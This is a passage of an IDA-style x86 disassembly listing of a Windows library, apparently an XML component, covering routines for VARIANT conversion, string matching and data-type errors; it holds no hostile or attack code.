loc_69B4B549:				; CODE XREF: sub_69B4B3ED+153j
		mov	[ebp+var_8], eax


loc_69B4B54C:				; CODE XREF: sub_69B4B3ED+13Ej
		push	[ebp+var_8]
		lea	eax, [ebp+var_20]
		push	0
		push	eax
		push	[ebp+var_4]
		mov	ecx, esi
		push	[ebp+var_C]
		push	dword ptr [esi+0Ch]
		call	sub_69B4858B


loc_69B4B565:				; CODE XREF: sub_69B4B3ED+116j
					; sub_69B4B3ED+12Ej
		lea	ecx, [ebp+var_20]
		push	ecx
		push	[ebp+var_4]


loc_69B4B56C:				; CODE XREF: sub_69B4B3ED+2CBj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0E8h]
		jmp	loc_69B4B743
; ---------------------------------------------------------------------------


loc_69B4B57B:				; CODE XREF: sub_69B4B3ED+77j
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Fh
		mov	edi, eax
		jg	short loc_69B4B58D
		call	sub_69B2E6D8


loc_69B4B58D:				; CODE XREF: sub_69B4B3ED+199j
		mov	eax, [esi]
		mov	edi, [edi+88h]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		cmp	edi, eax
		jnz	loc_69B4B6BD
		mov	ecx, [ebp+arg_0]
		call	sub_69B2F43C
		push	ebx
		push	eax
		call	sub_69B20F54
		mov	[ebp+arg_0], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F4h]
		mov	esi, eax
		test	esi, esi
		jz	loc_69B4B743
		mov	eax, [esi]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		mov	ecx, esi
		mov	[ebp+var_20], bx
		call	dword ptr [eax+0F4h]
		cmp	[ebp+arg_0], 2
		mov	edi, eax
		jz	short loc_69B4B5F0
		mov	eax, [esi+8]
		shr	eax, 0Fh
		test	al, bl
		jz	short loc_69B4B65E


loc_69B4B5F0:				; CODE XREF: sub_69B4B3ED+1F7j
		mov	eax, [esi+8]
		shr	eax, 0Ah
		test	al, bl
		jnz	short loc_69B4B65E
		test	edi, edi
		jz	short loc_69B4B65E
		mov	ecx, [esi+0Ch]
		call	sub_69B3DABE
		mov	[ebp+var_10], eax
		mov	eax, [esi+8]
		shr	eax, 0Fh
		test	al, bl
		jz	short loc_69B4B632
		push	0
		push	ebx
		mov	ecx, esi
		call	sub_69B4AD10
		test	eax, eax
		jz	short loc_69B4B62E
		mov	ecx, [ebp+var_10]
		push	eax
		call	sub_69B8B033
		and	dword ptr [edi+8], 0FFFFFFFBh


loc_69B4B62E:				; CODE XREF: sub_69B4B3ED+232j
		and	byte ptr [esi+9], 7Fh


loc_69B4B632:				; CODE XREF: sub_69B4B3ED+224j
		cmp	[ebp+arg_0], 2
		jnz	short loc_69B4B65E
		push	0
		mov	ecx, esi
		call	sub_69B47E6C
		push	eax
		push	ebx
		mov	ecx, esi
		mov	[ebp+var_8], eax
		call	sub_69B4AD10
		test	eax, eax
		jz	short loc_69B4B6B1
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		mov	ecx, esi
		call	sub_69B481EB


loc_69B4B65E:				; CODE XREF: sub_69B4B3ED+201j
					; sub_69B4B3ED+20Bj ...
		cmp	[ebp+arg_0], 0Ch
		jge	short loc_69B4B669
		cmp	[ebp+arg_0], ebx
		jnz	short loc_69B4B6B1


loc_69B4B669:				; CODE XREF: sub_69B4B3ED+275j
		mov	eax, [esi+8]
		mov	ecx, eax
		shr	ecx, 4
		and	ecx, 3Fh
		cmp	[ebp+arg_0], ecx
		jz	short loc_69B4B698
		shr	eax, 14h
		test	al, bl
		mov	ecx, esi
		jz	short loc_69B4B68E
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		call	sub_69B4936A
		jmp	short loc_69B4B695
; ---------------------------------------------------------------------------


loc_69B4B68E:				; CODE XREF: sub_69B4B3ED+293j
		push	0
		call	sub_69B48E56


loc_69B4B695:				; CODE XREF: sub_69B4B3ED+29Fj
		mov	[ebp+var_C], eax


loc_69B4B698:				; CODE XREF: sub_69B4B3ED+28Aj
		push	[ebp+var_C]
		lea	eax, [ebp+var_20]
		push	0
		push	eax
		push	[ebp+arg_0]
		mov	ecx, esi
		push	[ebp+var_8]
		push	dword ptr [esi+0Ch]
		call	sub_69B4858B


loc_69B4B6B1:				; CODE XREF: sub_69B4B3ED+262j
					; sub_69B4B3ED+27Aj
		lea	ecx, [ebp+var_20]
		push	ecx
		push	[ebp+arg_0]
		jmp	loc_69B4B56C
; ---------------------------------------------------------------------------


loc_69B4B6BD:				; CODE XREF: sub_69B4B3ED+1AFj
		mov	eax, [esi]
		mov	edi, dword_69B95A5C
		mov	ecx, esi
		call	dword ptr [eax+38h]
		cmp	edi, [eax+10h]
		jnz	short loc_69B4B743
		mov	eax, [esi+8]
		shr	eax, 0Ah
		test	al, bl
		jnz	short loc_69B4B743
		mov	ecx, [esi+0Ch]
		call	sub_69B3DABE
		push	ebx
		push	ebx
		xor	ebx, ebx
		push	ebx
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B4AAFC
		cmp	[eax+8], ebx
		mov	[ebp+var_10], eax
		jz	short loc_69B4B719
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		mov	eax, [eax+70h]
		push	ebx		; int
		push	ebx		; lpString
		push	[ebp+var_10]	; int
		mov	ecx, eax
		call	sub_69B4D394
		push	eax
		lea	ecx, [edi+0Ch]
		call	sub_69B48C2B


loc_69B4B719:				; CODE XREF: sub_69B4B3ED+308j
		mov	eax, [ebp+arg_0]
		cmp	[eax+8], ebx
		jz	short loc_69B4B743
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		mov	eax, [eax+70h]
		push	ebx		; int
		push	ebx		; lpString
		push	[ebp+arg_0]	; int
		mov	ecx, eax
		call	sub_69B4D394
		push	eax
		lea	ecx, [edi+0Ch]
		call	sub_69B47C9C


loc_69B4B743:				; CODE XREF: sub_69B4B3ED+2Fj
					; sub_69B4B3ED+3Ej ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B4B3ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4B74A	proc near		; CODE XREF: sub_69B3D622+34p
					; sub_69B4B801+34p ...

arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		test	byte ptr [esi+0Ah], 0Ch
		jnz	short loc_69B4B7D1
		push	ebx
		xor	ebx, ebx
		cmp	[esp+8+arg_0], bl
		jnz	short loc_69B4B76C
		cmp	[esp+8+arg_4], bl
		jz	short loc_69B4B76C
		push	offset off_69B1A5AC
		call	sub_69B4B3ED


loc_69B4B76C:				; CODE XREF: sub_69B4B74A+10j
					; sub_69B4B74A+16j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+118h]
		test	al, al
		mov	eax, [esi]
		mov	ecx, esi
		jz	short loc_69B4B787
		push	ebx
		call	dword ptr [eax+114h]
		jmp	short loc_69B4B7D0
; ---------------------------------------------------------------------------


loc_69B4B787:				; CODE XREF: sub_69B4B74A+32j
		push	edi
		jmp	short loc_69B4B7C3
; ---------------------------------------------------------------------------


loc_69B4B78A:				; CODE XREF: sub_69B4B74A+83j
		mov	eax, [edi+8]
		shr	eax, 14h
		test	al, 1
		jnz	short loc_69B4B7CF
		cmp	[esp+0Ch+arg_0], bl
		jz	short loc_69B4B7A8
		push	ebx
		push	ebx
		push	edi
		push	ebx
		push	ebx
		mov	ecx, esi
		call	sub_69B4C674
		jmp	short loc_69B4B7BF
; ---------------------------------------------------------------------------


loc_69B4B7A8:				; CODE XREF: sub_69B4B74A+4Ej
		cmp	[esp+0Ch+arg_8], bl
		jnz	short loc_69B4B7B7
		push	1
		mov	ecx, edi
		call	sub_69B4AED1


loc_69B4B7B7:				; CODE XREF: sub_69B4B74A+62j
		push	edi
		mov	ecx, esi
		call	sub_69B4843A


loc_69B4B7BF:				; CODE XREF: sub_69B4B74A+5Cj
		mov	eax, [esi]
		mov	ecx, esi


loc_69B4B7C3:				; CODE XREF: sub_69B4B74A+3Ej
		call	dword ptr [eax+108h]
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_69B4B78A


loc_69B4B7CF:				; CODE XREF: sub_69B4B74A+48j
		pop	edi


loc_69B4B7D0:				; CODE XREF: sub_69B4B74A+3Bj
		pop	ebx


loc_69B4B7D1:				; CODE XREF: sub_69B4B74A+7j
		pop	esi
		retn	0Ch
sub_69B4B74A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4B7D5	proc near		; CODE XREF: sub_69B4BA87+14p
					; sub_69B4BC9Cj ...
		mov	edx, [ecx+8]
		mov	eax, 0C0000h
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_69B4B7F5
		mov	eax, [ecx]
		call	dword ptr [eax+11Ch]
		test	eax, eax
		jnz	short locret_69B4B800
		mov	eax, offset off_69B1A5AC
		retn
; ---------------------------------------------------------------------------


loc_69B4B7F5:				; CODE XREF: sub_69B4B7D5+Cj
		push	1
		push	1
		push	1
		call	sub_69B4AAFC

locret_69B4B800:			; CODE XREF: sub_69B4B7D5+18j
		retn
sub_69B4B7D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4B801	proc near		; CODE XREF: sub_69B4CEA8+DEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		push	edi
		shr	eax, 4
		and	eax, 3Fh
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		xor	edi, edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_69B30E5D
		cmp	eax, edi
		jz	short loc_69B4B82E
		push	eax
		call	sub_69B2E8B8


loc_69B4B82E:				; CODE XREF: sub_69B4B801+25j
		push	edi
		push	1
		push	1
		mov	ecx, esi
		call	sub_69B4B74A
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+108h]
		test	eax, eax
		jz	short loc_69B4B85F
		mov	eax, [esi+0Ch]
		push	dword ptr [eax+50h]
		push	eax
		push	edi
		push	edi
		push	[ebp+var_4]
		push	esi
		push	edi
		push	1
		call	sub_69B49219
		jmp	short loc_69B4B86C
; ---------------------------------------------------------------------------


loc_69B4B85F:				; CODE XREF: sub_69B4B801+45j
		push	[ebp+var_4]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+114h]


loc_69B4B86C:				; CODE XREF: sub_69B4B801+5Cj
		pop	edi
		pop	esi
		leave
		retn	4
sub_69B4B801	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4B872	proc near		; CODE XREF: sub_69B14EAC+91p
					; sub_69B4BCC4+4Ap ...

var_14		= word ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		xor	ebx, ebx
		shr	eax, 0Eh
		inc	ebx
		test	al, bl
		jz	short loc_69B4B8F4
		mov	eax, [esi]
		push	edi
		mov	[ebp+var_14], bx
		call	dword ptr [eax+0F4h]
		mov	edi, eax
		mov	eax, [esi+8]
		mov	ecx, eax
		shr	ecx, 0Fh
		test	cl, bl
		jz	short loc_69B4B8E3
		shr	eax, 0Ah
		test	al, bl
		jnz	short loc_69B4B8E3
		test	edi, edi
		jz	short loc_69B4B8E3
		mov	ecx, [esi+0Ch]
		call	sub_69B3DABE
		mov	[ebp+var_4], eax
		mov	eax, [esi+8]
		shr	eax, 0Fh
		test	al, bl
		jz	short loc_69B4B8E3
		push	0
		push	ebx
		mov	ecx, esi
		call	sub_69B4AD10
		test	eax, eax
		jz	short loc_69B4B8DF
		mov	ecx, [ebp+var_4]
		push	eax
		call	sub_69B8B033
		and	dword ptr [edi+8], 0FFFFFFFBh


loc_69B4B8DF:				; CODE XREF: sub_69B4B872+5Ej
		and	byte ptr [esi+9], 7Fh


loc_69B4B8E3:				; CODE XREF: sub_69B4B872+30j
					; sub_69B4B872+37j ...
		mov	eax, [esi]
		lea	ecx, [ebp+var_14]
		push	ecx
		push	0
		mov	ecx, esi
		call	dword ptr [eax+0E8h]
		pop	edi


loc_69B4B8F4:				; CODE XREF: sub_69B4B872+15j
		and	word ptr [esi+8], 0BC0Fh
		pop	esi
		pop	ebx
		leave
		retn
sub_69B4B872	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4B8FE	proc near		; CODE XREF: sub_69B4277B+69p

pvarg		= VARIANTARG ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		xor	ebx, ebx
		mov	ecx, eax
		shr	ecx, 11h
		inc	ebx
		test	cl, bl
		jz	loc_69B4B9B6
		mov	ecx, [esi+14h]
		cmp	word ptr [ecx+8], 0Ah
		jnz	loc_69B4B9B6
		shr	eax, 4
		and	eax, 3Fh
		push	edi
		jz	short loc_69B4B956
		xor	edi, edi
		push	edi
		push	edi
		lea	ecx, [ebp+pvarg]
		push	ecx
		push	eax
		push	edi
		push	dword ptr [esi+0Ch]
		mov	ecx, esi
		mov	word ptr [ebp+pvarg.anonymous_0], bx
		call	sub_69B4858B
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear
		jmp	short loc_69B4B9B5
; ---------------------------------------------------------------------------


loc_69B4B956:				; CODE XREF: sub_69B4B8FE+32j
		push	dword ptr [esi+0Ch]
		push	esi
		call	sub_69B4A04A
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_69B4B971
		push	ebx
		push	ebx
		push	ebx
		mov	ecx, eax
		call	sub_69B4AAFC
		jmp	short loc_69B4B993
; ---------------------------------------------------------------------------


loc_69B4B971:				; CODE XREF: sub_69B4B8FE+65j
		mov	eax, [esi+8]
		shr	eax, 14h
		test	al, bl
		mov	ecx, esi
		push	edi
		jz	short loc_69B4B987
		push	edi
		push	edi
		call	sub_69B4936A
		jmp	short loc_69B4B98C
; ---------------------------------------------------------------------------


loc_69B4B987:				; CODE XREF: sub_69B4B8FE+7Ej
		call	sub_69B48E56


loc_69B4B98C:				; CODE XREF: sub_69B4B8FE+87j
		cmp	eax, edi
		jz	short loc_69B4B997
		mov	eax, [eax+1Ch]


loc_69B4B993:				; CODE XREF: sub_69B4B8FE+71j
		cmp	eax, edi
		jnz	short loc_69B4B9A1


loc_69B4B997:				; CODE XREF: sub_69B4B8FE+90j
		push	offset a??UnknownDatat ; "?? Unknown Datatype ??"
		call	sub_69B1A587


loc_69B4B9A1:				; CODE XREF: sub_69B4B8FE+97j
		push	edi
		push	eax
		push	0C00CE21Ch
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B4B9B5:				; CODE XREF: sub_69B4B8FE+56j
		pop	edi


loc_69B4B9B6:				; CODE XREF: sub_69B4B8FE+17j
					; sub_69B4B8FE+25j
		pop	esi
		pop	ebx
		leave
		retn
sub_69B4B8FE	endp

; ---------------------------------------------------------------------------
		align 4
; const	WCHAR a??UnknownDatat
a??UnknownDatat:			; DATA XREF: sub_69B4B8FE:loc_69B4B997o
		unicode	0, <?? Unknown Datatype	??>,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B4B9EA(VARIANTARG	*pvargDest)

sub_69B4B9EA	proc near		; DATA XREF: .text:69B1DE0Co

pvargSrc	= VARIANTARG ptr -10h
pvargDest	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+8]
		shr	esi, 4
		and	esi, 3Fh
		push	esi
		call	sub_69B2FB83
		mov	edx, [edi+8]
		xor	ecx, ecx
		shr	edx, 11h
		inc	ecx
		test	dl, cl
		jz	short loc_69B4BA4D
		cmp	ax, 8
		jz	short loc_69B4BA4D
		mov	eax, [edi+14h]
		cmp	word ptr [eax+8], 0Ah
		jz	short loc_69B4BA4D
		mov	cx, [eax+8]
		mov	word ptr [ebp+pvargSrc.anonymous_0], cx
		mov	ecx, [eax+18h]
		mov	dword ptr [ebp+pvargSrc.anonymous_0+8],	ecx
		mov	eax, [eax+1Ch]
		mov	dword ptr [ebp+pvargSrc.anonymous_0+0Ch], eax
		lea	eax, [ebp+pvargSrc]
		push	eax		; pvargSrc
		push	[ebp+pvargDest]	; pvargDest
		call	VariantCopy
		test	eax, eax
		jz	short loc_69B4BA81
		push	eax
		call	sub_69B2E8B8
		jmp	short loc_69B4BA81
; ---------------------------------------------------------------------------


loc_69B4BA4D:				; CODE XREF: sub_69B4B9EA+24j
					; sub_69B4B9EA+2Aj ...
		cmp	esi, 1Ah
		jz	short loc_69B4BA7B
		cmp	esi, 24h
		jz	short loc_69B4BA7B
		push	ecx
		push	ecx
		push	ecx
		mov	ecx, edi
		call	sub_69B4AAFC
		push	dword ptr [eax+8] ; UINT
		mov	ecx, [eax+0Ch]
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	ecx, [ebp+pvargDest]
		mov	word ptr [ecx],	8
		mov	[ecx+8], eax
		jmp	short loc_69B4BA81
; ---------------------------------------------------------------------------


loc_69B4BA7B:				; CODE XREF: sub_69B4B9EA+66j
					; sub_69B4B9EA+6Bj
		mov	eax, [ebp+pvargDest]
		mov	[eax], cx


loc_69B4BA81:				; CODE XREF: sub_69B4B9EA+59j
					; sub_69B4B9EA+61j ...
		pop	edi
		pop	esi
		leave
		retn	4
sub_69B4B9EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4BA87	proc near		; CODE XREF: sub_69B4BCB5+4j
					; sub_69B4CC55+82p

arg_0		= dword	ptr  4

		push	dword ptr [ecx+0Ch]
		push	0Fh
		push	[esp+8+arg_0]
		call	sub_69B49C1F
		test	eax, eax
		jz	short loc_69B4BAA2
		mov	ecx, eax
		call	sub_69B4B7D5
		jmp	short locret_69B4BAA4
; ---------------------------------------------------------------------------


loc_69B4BAA2:				; CODE XREF: sub_69B4BA87+10j
		xor	eax, eax

locret_69B4BAA4:			; CODE XREF: sub_69B4BA87+19j
		retn	4
sub_69B4BA87	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4BAA7	proc near		; CODE XREF: sub_69B4BCA1+Cp
					; sub_69B4CC14+2Ap ...
		push	3Ch
		push	offset dword_69B4BC90
		call	sub_69B19C5C
		mov	ebx, ecx
		mov	[ebp-1Ch], ebx
		call	sub_69B48CEA
		mov	esi, [ebp+8]
		xor	edi, edi
		cmp	esi, edi
		jz	loc_69B4BB96
		xor	eax, eax
		mov	al, [ebx+0Bh]
		and	eax, 1Fh
		mov	eax, lpString[eax*4]
		mov	[ebp-20h], eax
		cmp	eax, edi
		jz	loc_69B4BB96
		mov	ecx, [esi+8]
		mov	[ebp-24h], ecx
		push	eax		; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	[ebp-28h], eax
		mov	edx, [esi+0Ch]
		mov	[ebp-2Ch], edx
		xor	eax, eax
		mov	al, [ebx+0Bh]
		mov	[ebp-30h], eax
		and	dword ptr [ebp-30h], 1Fh
		cmp	dword ptr [ebp-30h], 2
		jnz	short loc_69B4BB17
		mov	eax, [ebp-24h]
		cmp	word ptr [edx+eax*2-2],	2Dh
		jz	short loc_69B4BB73


loc_69B4BB17:				; CODE XREF: sub_69B4BAA7+63j
		mov	ax, [edx]
		cmp	ax, di
		jz	short loc_69B4BB5A
		mov	ecx, [ebp-20h]
		mov	cx, [ecx]
		mov	[ebp-34h], cx


loc_69B4BB29:				; CODE XREF: sub_69B4BAA7+AEj
		cmp	ax, [ebp-34h]
		jnz	short loc_69B4BB4A
		mov	eax, [ebp-28h]
		cmp	[ebp-24h], eax
		jl	short loc_69B4BB4A
		lea	ecx, [eax+eax]
		mov	edi, [ebp-20h]
		mov	esi, edx
		xor	eax, eax
		repe cmpsb
		mov	esi, [ebp+8]
		jz	short loc_69B4BB71
		xor	edi, edi


loc_69B4BB4A:				; CODE XREF: sub_69B4BAA7+86j
					; sub_69B4BAA7+8Ej
		dec	dword ptr [ebp-24h]
		inc	edx
		inc	edx
		mov	ax, [edx]
		cmp	ax, di
		jnz	short loc_69B4BB29
		mov	edx, [ebp-2Ch]


loc_69B4BB5A:				; CODE XREF: sub_69B4BAA7+76j
		cmp	dword ptr [ebp-30h], 2
		jnz	short loc_69B4BB96
		mov	eax, [esi+8]
		cmp	eax, edi
		jz	short loc_69B4BB96
		cmp	word ptr [edx+eax*2-2],	2Dh
		jnz	short loc_69B4BB96
		jmp	short loc_69B4BB73
; ---------------------------------------------------------------------------


loc_69B4BB71:				; CODE XREF: sub_69B4BAA7+9Fj
		xor	edi, edi


loc_69B4BB73:				; CODE XREF: sub_69B4BAA7+6Ej
					; sub_69B4BAA7+C8j
		push	edi
		mov	eax, [ebp-30h]
		push	lpMultiByteStr[eax*4] ;	lpMultiByteStr
		call	sub_69B1D494
		push	eax
		push	0C00CE215h
		push	80070057h
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B4BB96:				; CODE XREF: sub_69B4BAA7+1Dj
					; sub_69B4BAA7+37j ...
		push	1
		push	1
		mov	ecx, ebx
		call	sub_69B482CE
		mov	[ebp-38h], eax
		cmp	eax, edi
		jz	short loc_69B4BBB7
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+0F4h]
		mov	[ebp-3Ch], eax
		jmp	short loc_69B4BBBA
; ---------------------------------------------------------------------------


loc_69B4BBB7:				; CODE XREF: sub_69B4BAA7+FFj
		mov	[ebp-3Ch], edi


loc_69B4BBBA:				; CODE XREF: sub_69B4BAA7+10Ej
		cmp	[ebp-38h], edi
		jz	short loc_69B4BBD0
		mov	ecx, [ebx+0Ch]
		mov	eax, [ecx]
		push	edi
		push	dword ptr [ebp-3Ch]
		push	dword ptr [ebp-38h]
		push	edi
		push	edi
		call	dword ptr [eax+74h]


loc_69B4BBD0:				; CODE XREF: sub_69B4BAA7+116j
		mov	[ebp-4], edi
		cmp	esi, edi
		jnz	short loc_69B4BBE1
		mov	dword ptr [ebp+8], offset off_69B1A5AC
		mov	esi, [ebp+8]


loc_69B4BBE1:				; CODE XREF: sub_69B4BAA7+12Ej
		test	byte ptr [ebx+0Ah], 0Ch
		jz	short loc_69B4BBFC
		push	esi
		mov	ecx, ebx
		call	sub_69B4B3ED
		mov	eax, [ebx]
		push	esi
		mov	ecx, ebx
		call	dword ptr [eax+114h]
		jmp	short loc_69B4BC3A
; ---------------------------------------------------------------------------


loc_69B4BBFC:				; CODE XREF: sub_69B4BAA7+13Ej
		cmp	byte ptr [ebp+0Ch], 0
		jnz	short loc_69B4BC3A
		push	esi
		mov	ecx, ebx
		call	sub_69B4B3ED
		push	edi
		push	edi
		cmp	[ebp-38h], edi
		setz	al
		push	eax
		mov	ecx, ebx
		call	sub_69B4B74A
		mov	eax, [ebx+0Ch]
		mov	[ebp-40h], eax
		mov	ecx, [eax+50h]
		mov	[ebp-44h], ecx
		mov	[ebp-48h], eax
		push	ecx
		push	eax
		push	edi
		push	edi
		push	esi
		push	ebx
		push	edi
		push	1
		call	sub_69B49219
		mov	[ebp-4Ch], eax


loc_69B4BC3A:				; CODE XREF: sub_69B4BAA7+153j
					; sub_69B4BAA7+159j
		cmp	[ebp-38h], edi
		jz	short loc_69B4BC82
		mov	ebx, [ebx+0Ch]
		mov	eax, [ebx]
		push	edi
		push	dword ptr [ebp-3Ch]
		push	dword ptr [ebp-38h]
		push	2
		push	edi
		mov	ecx, ebx
		call	dword ptr [eax+74h]
		jmp	short loc_69B4BC82
; ---------------------------------------------------------------------------


loc_69B4BC55:				; DATA XREF: .text:69B4BC94o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4BC5E:				; DATA XREF: .text:69B4BC98o
		mov	esp, [ebp-18h]
		xor	eax, eax
		cmp	[ebp-38h], eax
		jz	short loc_69B4BC7D
		mov	ecx, [ebp-1Ch]
		mov	ecx, [ecx+0Ch]
		mov	edx, [ecx]
		push	eax
		push	dword ptr [ebp-3Ch]
		push	dword ptr [ebp-38h]
		push	1
		push	eax
		call	dword ptr [edx+74h]


loc_69B4BC7D:				; CODE XREF: sub_69B4BAA7+1BFj
		call	sub_69B2E860


loc_69B4BC82:				; CODE XREF: sub_69B4BAA7+196j
					; sub_69B4BAA7+1ACj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn	8
sub_69B4BAA7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B4BC90	dd 0FFFFFFFFh			dd offset loc_69B4BC55
		dd offset loc_69B4BC5E

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_69B4BC9C	proc near		; DATA XREF: .text:69B152F0o
					; .text:69B1DD40o
		jmp	sub_69B4B7D5
sub_69B4BC9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4BCA1	proc near		; DATA XREF: .text:69B152F4o
					; .text:69B1DD44o

arg_0		= dword	ptr  4

		test	byte ptr [ecx+0Ah], 0Ch
		jz	short locret_69B4BCB2
		push	1
		push	[esp+4+arg_0]
		call	sub_69B4BAA7

locret_69B4BCB2:			; CODE XREF: sub_69B4BCA1+4j
		retn	4
sub_69B4BCA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4BCB5	proc near		; DATA XREF: .text:69B1533Co
					; .text:69B1DD8Co
		test	byte ptr [ecx+0Ah], 0Ch
		jz	sub_69B4BA87
		xor	eax, eax
		retn	4
sub_69B4BCB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4BCC4	proc near		; CODE XREF: sub_69B4C674+269p
					; sub_69B4C674+50Fp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		shr	eax, 14h
		test	al, 1
		jz	short loc_69B4BD13
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Fh
		push	edi
		mov	edi, eax
		jg	short loc_69B4BCE4
		call	sub_69B2E6D8


loc_69B4BCE4:				; CODE XREF: sub_69B4BCC4+19j
		mov	eax, [esi]
		mov	edi, [edi+88h]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		cmp	edi, eax
		pop	edi
		jnz	short loc_69B4BD13
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jnz	short loc_69B4BD0C
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F4h]
		test	eax, eax
		jz	short loc_69B4BD13


loc_69B4BD0C:				; CODE XREF: sub_69B4BCC4+38j
		mov	ecx, eax
		call	sub_69B4B872


loc_69B4BD13:				; CODE XREF: sub_69B4BCC4+Bj
					; sub_69B4BCC4+30j ...
		pop	esi
		retn	4
sub_69B4BCC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4BD17	proc near		; CODE XREF: sub_69B4BD17+336p
					; sub_69B4BD17+692p ...
		push	98h
		push	offset dword_69B4C3E0
		call	sub_69B19C5C
		mov	esi, ecx
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		mov	eax, [esi]
		call	dword ptr [eax+3Ch]
		mov	[ebp-20h], eax
		cmp	eax, ebx
		jz	short loc_69B4BD41
		mov	eax, [eax+8]
		mov	[ebp-24h], eax
		jmp	short loc_69B4BD44
; ---------------------------------------------------------------------------


loc_69B4BD41:				; CODE XREF: sub_69B4BD17+20j
		mov	[ebp-24h], ebx


loc_69B4BD44:				; CODE XREF: sub_69B4BD17+28j
		mov	ecx, [esi+8]
		mov	eax, ecx
		shr	eax, 0Eh
		test	al, 1
		jz	short loc_69B4BD5C
		mov	eax, ecx
		shr	eax, 1
		test	al, 1
		mov	byte ptr [ebp-25h], 1
		jz	short loc_69B4BD60


loc_69B4BD5C:				; CODE XREF: sub_69B4BD17+37j
		mov	byte ptr [ebp-25h], 0


loc_69B4BD60:				; CODE XREF: sub_69B4BD17+43j
		mov	edi, [ebp+8]
		cmp	[edi+14h], ebx
		jz	short loc_69B4BD71
		cmp	[edi+18h], esi
		mov	byte ptr [ebp-26h], 1
		jz	short loc_69B4BD75


loc_69B4BD71:				; CODE XREF: sub_69B4BD17+4Fj
		mov	byte ptr [ebp-26h], 0


loc_69B4BD75:				; CODE XREF: sub_69B4BD17+58j
		mov	eax, ecx
		shr	eax, 0Ah
		and	al, 1
		mov	[ebp-27h], al
		mov	eax, [esi+0Ch]
		mov	[ebp-2Ch], eax
		movzx	edx, byte ptr [edi+1Ch]
		shl	edx, 0Ah
		xor	edx, ecx
		and	edx, 400h
		xor	edx, ecx
		mov	[esi+8], edx
		mov	ecx, [edi]
		mov	[ebp-30h], ecx
		cmp	ecx, eax
		jz	loc_69B4BECE
		mov	ebx, [esi+4]
		mov	ecx, esi
		call	sub_69B17275
		test	eax, eax
		jz	short loc_69B4BDF4
		test	bl, 1
		jz	short loc_69B4BDBE
		shr	ebx, 3
		jmp	short loc_69B4BDC0
; ---------------------------------------------------------------------------


loc_69B4BDBE:				; CODE XREF: sub_69B4BD17+A0j
		xor	ebx, ebx


loc_69B4BDC0:				; CODE XREF: sub_69B4BD17+A5j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F8h]
		neg	al
		sbb	eax, eax
		neg	eax
		cmp	ebx, eax
		jle	short loc_69B4BDE4
		mov	ecx, [ebp-30h]
		call	sub_69B1E0E2
		mov	ecx, [ebp-2Ch]
		call	sub_69B3F0A6


loc_69B4BDE4:				; CODE XREF: sub_69B4BD17+BBj
		push	dword ptr [edi]
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B2DEB2
		jmp	loc_69B4BEA6
; ---------------------------------------------------------------------------


